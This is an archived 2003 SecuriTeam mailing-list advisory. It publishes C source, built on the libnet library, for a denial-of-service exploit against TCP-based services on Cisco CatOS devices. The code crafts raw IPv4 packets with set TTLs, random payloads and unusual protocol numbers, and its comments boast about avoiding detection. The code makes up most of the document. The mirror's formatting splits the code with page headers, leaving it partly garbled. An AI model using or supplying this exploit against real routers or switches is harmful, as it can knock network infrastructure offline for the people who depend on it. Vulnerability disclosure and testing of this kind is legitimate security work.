

# [EXPL] Denial-of-Service of TCP-based Services in CatOS (Exploit)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-07/0076.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 07/20/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 20 Jul 2003 20:38:50 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security in Canada

Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.

We welcome ISPs, system integrators and IT systems resellers

to promote the most advanced vulnerability assessment solutions today.

Contact us at 416-482-0038 or at [canadasales@beyondsecurity.com](mailto:canadasales@beyondsecurity.com)

-----  
Denial-of-Service of TCP-based Services in CatOS (Exploit)  
-----

## SUMMARY

As we previously posted:

<<http://www.securiteam.com/securitynews/5PP0E1FAKC.html>> Denial-of-Service of TCP-based Services in CatOS, a vulnerability in the CatOS system allows remote attackers to cause the product to no longer be able to process legitimate requests.

The following exploit code can be used to test your system (CatOS based) for the mentioned vulnerability.

## DETAILS

Exploit:

/\*\*

\* ShadowChode - 0daze b0mb th4 fUq 0uT uV m0zT aNy c1sK0 r0ut3rz!@#

\*

\* Ping target router/switch for TTL to host. Subtract that number from

## Securiteam: [EXPL] Denial-of-Service of TCP-based Services in CatOS (Exploit)

255

```
* and use that TTL on the command line. The TTL must equal 0 or 1 when it
* reaches the target. The target must accept packets to the given target
* interface address and there are some other caveats.
*
* BROUGHT TO YOU BY THE LETTERS C AND D
*
* [L0cK]
*/
```

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
```

```
#include "libnet.h"
```

```
#define MIN_PAYLOAD_LEN (26)
```

```
#define CLEANUP { \
    libnet_destroy(lh); \
    free(payload); \
}
```

```
int
```

```
main(int argc, char *argv[])
```

```
{
    char errbuf[LIBNET_ERRBUF_SIZE];
    libnet_t *lh;
    u_long dst_addr;
    int ttl;
    int payload_len;
    char *payload;
    libnet_ptag_t data_tag;
    libnet_ptag_t ip_tag;
    int i;
    int len;
    int protocols[] = { 53, 55, 77, 103 };
    struct libnet_stats ls;

    lh = libnet_init(LIBNET_RAW4, NULL, errbuf);

    if (lh == NULL) {
        (void) fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
        exit(-1);
    }

    if (argc != 3 || (dst_addr = libnet_name2addr4(lh, argv[1],
LIBNET_RESOLVE) == -1)) {
        (void) fprintf(stderr, "Usage: %s <target> <ttl>\n", argv[0]);
        libnet_destroy(lh);
        exit(-1);
    }
}
```

## Securiteam: [EXPL] Denial-of-Service of TCP-based Services in CatOS (Exploit)

```
}

{ /* OH WAIT, ROUTE'S RESOLVER DOESN'T WORK! */
  struct in_addr dst;

  if (!inet_aton(argv[1], &dst)) {
    perror("inet_aton");
    libnet_destroy(lh);
    exit(-1);
  }

  dst_addr = dst.s_addr;
}

ttl = atoi(argv[2]);

libnet_seed_prand(lh);

len = libnet_get_prand(LIBNET_PR8);

/* Mmmmm, suck up random amount of memory! */

payload_len = (MIN_PAYLOAD_LEN > len) ? MIN_PAYLOAD_LEN : len;

payload = (char *) malloc(payload_len);

if (payload == NULL) {
  perror("malloc");
  libnet_destroy(lh);
  exit(-1);
}
for (i = 0; i < payload_len; i++) {
  //payload[i] = i;
  /* Why make it easy for people to flag on predictable
  payload???? */
  payload[i] = rand() % 255;
}

data_tag = LIBNET_PTAG_INITIALIZER;

data_tag = libnet_build_data(payload, payload_len, lh, data_tag);

if (data_tag == -1) {
  (void) fprintf(stderr, "Can't build data block: %s\n",
libnet_geterror(lh));
  CLEANUP;
  exit(-1);
}

ip_tag = LIBNET_PTAG_INITIALIZER;
```

## Securiteam: [EXPL] Denial-of-Service of TCP-based Services in CatOS (Exploit)

```
for (i = 0; i < 4; i++) {
    ip_tag = libnet_build_ipv4(LIBNET_IPV4_H + payload_len, 0,
    libnet_get_prand(LIBNET_PRu16), 0, ttl, protocols[i], 0,
    libnet_get_prand(LIBNET_PRu32), dst_addr, NULL, 0, lh, ip_tag);

    if (ip_tag == -1) {
        (void) fprintf(stderr, "Can't build IP header: %s\n",
        libnet_geterror(lh));
        CLEANUP;
        exit(-1);
    }

    len = libnet_write(lh);

    if (len == -1) {
        (void) fprintf(stderr, "Write error: %s\n", libnet_geterror(lh));
    }
}

libnet_stats(lh, &ls);

(void) fprintf(stderr, "Packets sent: %ld\n"
    "Packet errors: %ld\n"
    "Bytes written: %ld\n",
    ls.packets_sent, ls.packet_errors, ls.bytes_written);

CLEANUP;

return (0);
}
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:crackh0ze@excite.com>> Marion Barry.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.